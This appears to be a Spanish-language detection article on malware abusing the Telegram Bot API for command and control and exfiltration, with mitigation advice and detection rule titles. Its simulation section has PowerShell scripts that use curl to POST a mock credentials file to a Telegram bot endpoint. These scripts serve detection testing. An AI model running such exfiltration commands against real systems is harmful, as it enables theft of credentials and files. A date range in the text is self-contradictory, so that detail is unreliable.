Las Crónicas de Detección y Respuesta: Explorando el Abuso de Telegram
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El artículo explica cómo varios actores de amenazas abusan de la API de Bot de Telegram y de los canales en empresas para el mando y control, la exfiltración de datos y la monitorización de las víctimas. Familias de malware, incluidas DeerStealer, Lumma Stealer, Raven Stealer y un constructor XWorm troyanizado codifican de manera rígida tokens de bots o IDs de canales y llaman a endpoints como /sendMessage y /sendDocument. Incluye consultas de detección de Microsoft Defender y Sentinel enfocadas en líneas de comando de procesos sospechosos y tráfico hacia api.telegram.org. La guía clave es establecer un uso legítimo de base de Telegram y bloquear la API donde no se necesite.
Investigación
El SOC de NVISO reportó cuatro intentos de intrusión observados entre octubre de 2025 y marzo de 2025, en los cuales Telegram fue utilizado en diferentes puntos del ciclo de vida del ataque. El informe destaca campañas como Lunar Spider monitorizando víctimas a través de falsos captchas, DeerStealer enviando notificaciones a operadores mediante curl, Lumma Stealer obteniendo detalles de C2 de canales de Telegram, Raven Stealer exfiltrando colecciones archivadas, y un constructor de XWorm que depende de la API de Bot tanto para exfiltración como para C2. Los analistas extrajeron indicadores que incluyen líneas de comando de procesos, destinos de red y nombres relevantes de archivos.
Mitigación
Establecer una línea base para el uso legítimo de Telegram, luego bloquear el acceso saliente a api.telegram.org en entornos donde no se requiera. Vigilar procesos poco comunes (por ejemplo, curl, powershell, wscript) que inicien conexiones con la API e investigar cualquier interacción scriptada con la API de Bot. Ajustar las detecciones para suprimir comportamientos esperados como navegadores conocidos iniciando telegram.exe, y priorizar solicitudes de sondeo largo o estilo webhook que se originen desde binarios sospechosos o hosts inesperados.
Respuesta
Cuando se detecta actividad, aislar el punto final afectado, detener procesos sospechosos y preservar argumentos de línea de comando junto con telemetría de DNS, proxy y red. Realizar análisis forense más profundo para identificar cargas útiles posteriores asociadas con campañas como DeerStealer o Raven Stealer. Rotar cualquier token de bot expuesto, deshabilitar o revocar canales de Telegram abusados, y contener la propagación bloqueando indicadores relacionados. Si se confirma abuso, escalar el reporte a través de los canales oficiales de Telegram y documentar el incidente para prevenir recurrencias.
Flujo de Ataque
Detecciones
Posible Abuso de Telegram Como Canal de Mando y Control (vía dns_query)
Proof of Value
Modificación Sospechosa de Exclusiones de Defender (vía cmdline)
Proof of Value
Proceso Sospechoso Utiliza una URL en la Línea de Comando (vía cmdline)
Proof of Value
IOCs (Emails) para detectar: Las Crónicas de Detección y Respuesta: Explorando el Abuso de Telegram
Proof of Value
Detectar Comunicación No Navegador con API de Telegram [Conexión de Red de Windows]
Proof of Value
Detección de Uso Malicioso de la API de Telegram [Creación de Procesos en Windows]
Proof of Value
Ejecución de Simulación
Prerequisito: La Verificación Previa de Telemetría y Línea Base debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para desencadenar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de la detección.
-
Narrativa de Ataque y Comandos:
Un adversario con un host Windows comprometido desea exfiltrar un archivo de credenciales recopiladas (creds.txt) a un bot de Telegram que controlan. Para evitar almacenar un binario personalizado, usan elcurl.exede manera nativa (instalado mediante las funciones opcionales de Windows 10) para POST el archivo ahttps://api.telegram.org/bot<ATTACKER_TOKEN>/sendDocument. El comando se ejecuta desde PowerShell, asegurando que el evento de creación del proceso registre una línea de comando que contenga “api.telegram.org”. Debido a que el proceso escurl.exe, el filtro de la regla (InitiatingProcessFileName: "telegram.exe") no suprime la alerta.# Variables (reemplazar con valores controlados por el atacante) $BotToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11" $ChatID = "987654321" $FilePath = "C:Tempcreds.txt" # Asegúrese de que el archivo exista (simulación de volcado de credenciales) Set-Content -Path $FilePath -Value "username: admin`npassword: P@ssw0rd!" # Ejecutar la exfiltración mediante la API de Bot de Telegram $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID" curl.exe -X POST -F "document=@$FilePath" $Url -
Script de Prueba de Regresión: El script de abajo reproduce los pasos exactos, adecuado para ejecuciones automatizadas de BAS.
#-------------------------------------------- # Prueba de Regresión – Exfiltración de API de Telegram #-------------------------------------------- param( [string]$BotToken = "REPLACE_WITH_TOKEN", [string]$ChatID = "REPLACE_WITH_CHATID", [string]$TmpDir = "$env:TEMPTelegramBAS" ) # Crear espacio de trabajo temporal New-Item -ItemType Directory -Path $TmpDir -Force | Out-Null # Archivo de credenciales simulado $CredFile = Join-Path $TmpDir "creds.txt" "username: admin`npassword: P@ssw0rd!" | Set-Content -Path $CredFile # Construir URL de API $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID" # Invocar exfiltración Write-Host "[*] Exfiltrando $CredFile a Telegram..." curl.exe -X POST -F "document=@$CredFile" $Url # Indicador simple de éxito (no verifica la entrega) if ($LASTEXITCODE -eq 0) { Write-Host "[+] Comando de exfiltración ejecutado." } else { Write-Error "[-] Fallo en la exfiltración." } -
Comandos de Limpieza: Remover el archivo y directorio temporal; opcionalmente terminar cualquier
curl.exeproceso persistente.# Limpiar artefactos temporales Stop-Process -Name "curl" -ErrorAction SilentlyContinue Remove-Item -Path $TmpDir -Recurse -Force Write-Host "[*] Limpieza completa."